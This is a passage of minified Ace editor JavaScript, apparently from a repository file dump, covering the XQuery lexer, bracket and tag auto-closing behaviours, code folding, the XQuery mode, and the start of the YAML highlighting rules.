r=e(\"./XQueryTokenizer\").XQueryTokenizer,i=e(\"./lexer\").Lexer,s=\"after|ancestor|ancestor-or-self|and|as|ascending|attribute|before|case|cast|castable|child|collation|comment|copy|count|declare|default|delete|descendant|descendant-or-self|descending|div|document|document-node|element|else|empty|empty-sequence|end|eq|every|except|first|following|following-sibling|for|function|ge|group|gt|idiv|if|import|insert|instance|intersect|into|is|item|last|le|let|lt|mod|modify|module|namespace|namespace-node|ne|node|only|or|order|ordered|parent|preceding|preceding-sibling|processing-instruction|rename|replace|return|satisfies|schema-attribute|schema-element|self|some|stable|start|switch|text|to|treat|try|typeswitch|union|unordered|validate|where|with|xquery|contains|paragraphs|sentences|times|words|by|collectionreturn|variable|version|option|when|encoding|toswitch|catch|tumbling|sliding|window|at|using|stemming|collection|schema|while|on|nodes|index|external|then|in|updating|value|of|containsbreak|loop|continue|exit|returning|append|json|position|strict\".split(\"|\"),o=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"keyword\"}}),u=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"text\",next:function(e){e.pop()}}}),a=\"constant.language\",f=\"constant\",l=\"comment\",c=\"xml-pe\",h=\"constant.buildin\",p=function(e){return\"'\"+e+\"'\"},d={start:[{name:p(\"(#\"),token:h,next:function(e){e.push(\"Pragma\")}},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\"(:~\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:p(\"<?\"),token:c,next:function(e){e.push(\"PI\")}},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposString\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotString\")}},{name:\"Annotation\",token:\"support.function\"},{name:\"ModuleDecl\",token:\"keyword\",next:function(e){e.push(\"Prefix\")}},{name:\"OptionDecl\",token:\"keyword\",next:function(e){e.push(\"_EQName\")}},{name:\"AttrTest\",token:\"support.type\"},{name:\"Variable\",token:\"variable\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:\"IntegerLiteral\",token:f},{name:\"DecimalLiteral\",token:f},{name:\"DoubleLiteral\",token:f},{name:\"Operator\",token:\"keyword.operator\"},{name:\"EQName\",token:function(e){return s.indexOf(e)!==-1?\"keyword\":\"support.function\"}},{name:p(\"(\"),token:\"lparen\"},{name:p(\")\"),token:\"rparen\"},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:p(\"}\"),token:\"text\",next:function(e){e.length>1&&e.pop()}},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}].concat(o),_EQName:[{name:\"EQName\",token:\"text\",next:function(e){e.pop()}}].concat(u),Prefix:[{name:\"NCName\",token:\"text\",next:function(e){e.pop()}}].concat(u),StartTag:[{name:p(\">\"),token:\"meta.tag\",next:function(e){e.push(\"TagContent\")}},{name:\"QName\",token:\"entity.other.attribute-name\"},{name:p(\"=\"),token:\"text\"},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposAttr\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotAttr\")}},{name:p(\"/>\"),token:\"meta.tag.r\",next:function(e){e.pop()}}],TagContent:[{name:\"ElementContentChar\",token:\"text\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"text\"},{name:p(\"}}\"),token:\"text\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}},{name:\"EndTag\",token:\"meta.tag\",next:function(e){e.pop(),e.pop()}}],AposAttr:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],QuotAttr:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],Pragma:[{name:\"PragmaContents\",token:h},{name:p(\"#\"),token:h},{name:p(\"#)\"),token:h,next:function(e){e.pop()}}],Comment:[{name:\"CommentContents\",token:\"comment\"},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\":)\"),token:\"comment\",next:function(e){e.pop()}}],CommentDoc:[{name:\"DocCommentContents\",token:\"comment.doc\"},{name:\"DocTag\",token:\"comment.doc.tag\"},{name:p(\"(:\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\":)\"),token:\"comment.doc\",next:function(e){e.pop()}}],XMLComment:[{name:\"DirCommentContents\",token:l},{name:p(\"-->\"),token:l,next:function(e){e.pop()}}],CData:[{name:\"CDataSectionContents\",token:a},{name:p(\"]]>\"),token:a,next:function(e){e.pop()}}],PI:[{name:\"DirPIContents\",token:c},{name:p(\"?\"),token:c},{name:p(\"?>\"),token:c,next:function(e){e.pop()}}],AposString:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposChar\",token:\"string\"}],QuotString:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotChar\",token:\"string\"}]};n.XQueryLexer=function(){return new i(r,d)}},{\"./XQueryTokenizer\":1,\"./lexer\":2}]},{},[3])(3)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/behaviour/xquery\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/mode/behaviour/xml\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function a(e,t){var n=!0,r=e.type.split(\".\"),i=t.split(\".\");return i.forEach(function(e){if(r.indexOf(e)==-1)return n=!1,!1}),n}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../behaviour/xml\").XmlBehaviour,u=e(\"../../token_iterator\").TokenIterator,f=function(){this.inherit(s,[\"braces\",\"parens\",\"string_dquotes\"]),this.inherit(o),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var s=n.getCursorPosition(),o=new u(r,s.row,s.column),f=o.getCurrentToken(),l=!1,e=JSON.parse(e).pop();if(f&&f.value===\">\"||e!==\"StartTag\")return;if(!f||!a(f,\"meta.tag\")&&(!a(f,\"text\")||!f.value.match(\"/\"))){do f=o.stepBackward();while(f&&(a(f,\"string\")||a(f,\"keyword.operator\")||a(f,\"entity.attribute-name\")||a(f,\"text\")))}else l=!0;var c=o.stepBackward();if(!f||!a(f,\"meta.tag\")||c!==null&&c.value.match(\"/\"))return;var h=f.value.substring(1);if(l)var h=h.substring(0,s.column-f.start);return{text:\"></\"+h+\">\",selection:[1,1]}}})};r.inherits(f,i),t.XQueryBehaviour=f}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/xquery\",[\"require\",\"exports\",\"module\",\"ace/worker/worker_client\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/xquery/xquery_lexer\",\"ace/range\",\"ace/mode/behaviour/xquery\",\"ace/mode/folding/cstyle\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"../worker/worker_client\").WorkerClient,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./xquery/xquery_lexer\").XQueryLexer,a=e(\"../range\").Range,f=e(\"./behaviour/xquery\").XQueryBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=e(\"../anchor\").Anchor,h=function(){this.$tokenizer=new u,this.$behaviour=new f,this.foldingRules=new l,this.$highlightRules=new o};i.inherits(h,s),function(){this.completer={getCompletions:function(e,t,n,r,i){if(!t.$worker)return i();t.$worker.emit(\"complete\",{data:{pos:n,prefix:r}}),t.$worker.on(\"complete\",function(e){i(null,e.data)})}},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=t.match(/\\s*(?:then|else|return|[{\\(]|<\\w+>)\\s*$/);return i&&(r+=n),r},this.checkOutdent=function(e,t,n){return/^\\s+$/.test(t)?/^\\s*[\\}\\)]/.test(n):!1},this.autoOutdent=function(e,t,n){var r=t.getLine(n),i=r.match(/^(\\s*[\\}\\)])/);if(!i)return 0;var s=i[1].length,o=t.findMatchingBracket({row:n,column:s});if(!o||o.row==n)return 0;var u=this.$getIndent(t.getLine(o.row));t.replace(new a(n,0,n,s-1),u)},this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,u=/^\\s*\\(:(.*):\\)/;for(i=n;i<=r;i++)if(!u.test(t.getLine(i))){o=!1;break}var f=new a(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(u)[1]:\"(:\"+s+\":)\")},this.createWorker=function(e){var t=new r([\"ace\"],\"ace/mode/xquery_worker\",\"XQueryWorker\"),n=this;return t.attachToDocument(e.getDocument()),t.on(\"ok\",function(t){e.clearAnnotations()}),t.on(\"markers\",function(t){e.clearAnnotations(),n.addMarkers(t.data,e)}),t.on(\"highlight\",function(t){n.$tokenizer.tokens=t.data.tokens,n.$tokenizer.lines=e.getDocument().getAllLines();var r=Object.keys(n.$tokenizer.tokens);for(var i=0;i<r.length;i++){var s=parseInt(r[i]);delete e.bgTokenizer.lines[s],delete e.bgTokenizer.states[s],e.bgTokenizer.fireUpdateEvent(s,s)}}),t},this.removeMarkers=function(e){var t=e.getMarkers(!1);for(var n in t)t[n].clazz.indexOf(\"language_highlight_\")===0&&e.removeMarker(n);for(var r=0;r<e.markerAnchors.length;r++)e.markerAnchors[r].detach();e.markerAnchors=[]},this.addMarkers=function(e,t){var n=this;t.markerAnchors||(t.markerAnchors=[]),this.removeMarkers(t),t.languageAnnos=[],e.forEach(function(e){function u(i){r&&t.removeMarker(r),o.row=n.row;if(e.pos.sc!==undefined&&e.pos.ec!==undefined){var s=new a(e.pos.sl,e.pos.sc,e.pos.el,e.pos.ec);r=t.addMarker(s,\"language_highlight_\"+(e.type?e.type:\"default\"))}i&&t.setAnnotations(t.languageAnnos)}var n=new c(t.getDocument(),e.pos.sl,e.pos.sc||0);t.markerAnchors.push(n);var r,i=e.pos.ec-e.pos.sc,s=e.pos.el-e.pos.sl,o={guttertext:e.message,type:e.level||\"warning\",text:e.message};u(),n.on(\"change\",function(){u(!0)}),e.message&&t.languageAnnos.push(o)}),t.setAnnotations(t.languageAnnos)},this.$id=\"ace/mode/xquery\"}.call(h.prototype),t.Mode=h})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-yaml.js",
    "content": "define(\"ace/mode/yaml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"list.markup\",regex:/^(?:-{3}|\\.{3})\\s*(?=#|$)/},{token:\"list.markup\",regex:/^\\s*[\\-?](?:$|\\s)/},{token:\"constant\",regex:\"!![\\\\w//]+\"},{token:\"constant.language\",regex:\"[&\\\\*][a-zA-Z0-9-_]+\"},{token:[\"meta.tag\",\"keyword\"],regex:/^(\\s*\\w.*?)(\\:(?:\\s+|$))/},{token:[\"meta.tag\",\"keyword\"],regex:/(\\w+?)(\\s*\\:(?:\\s+|$))/},{token:\"keyword.operator\",regex:\"<<\\\\w*:\\\\w*\"},{token:\"keyword.operator\",regex:\"-\\\\s*(?=[{])\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"[|>][-+\\\\d\\\\s]*$\",next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:/(\\b|[+\\-\\.])[\\d_]+(?:(?:\\.[\\d_]*)?(?:[eE][+\\-]?[\\d_]+)?)/},{token:\"constant.numeric\",regex:/[+\\-]?\\.inf\\b|NaN\\b|0x[\\dA-Fa-f_]+|0b[10_]+/},{token:\"constant.language.boolean\",regex:\"(?:true|false|TRUE|FALSE|True|False|yes|no)\\\\b\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"}],qqstring:[{token:\"string\",regex:\"(?=(?:(?:\\\\\\\\.)|(?:[^:]))*?:)\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.YamlHighlightRules=s}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return 